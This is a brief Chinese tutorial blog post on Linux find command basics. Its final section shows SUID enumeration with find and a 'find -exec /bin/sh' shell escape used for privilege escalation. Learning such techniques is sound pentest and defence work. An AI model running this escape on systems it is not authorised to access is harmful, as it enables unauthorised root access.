find基础命令与提权教程

发布时间 2023-04-19 09:00:14作者: 西与洲

find命令用来在指定目录下查找文件,若不指定目录则视为当前目录

  1. find常用参数

语法:find [path…] [expression]

path为查找路径,.为当前路径,/为根目录

expression即为参数

-name: 按文件名查找文件

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user: 按照文件属主来查找

-size n: 文件大小是n个单位

-type:

  1. d:目录
  2. f:文件
  3. c:字符设备文件
  4. b:块设备文件

find实列

1.在当前目录下查找文件名以txt为后缀的文件

find -name '*.txt'

 

在root目录下查找大于50m小于100m的文件

find / -size +50M -size -100M -type f

 

查找权限为777的文件或目录并排序

find -perm -777 -type f |sort

 


find命令提权

1.使用find命令查看拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

 使用find命令来提权

find text.sh -exec "/bin/sh" \;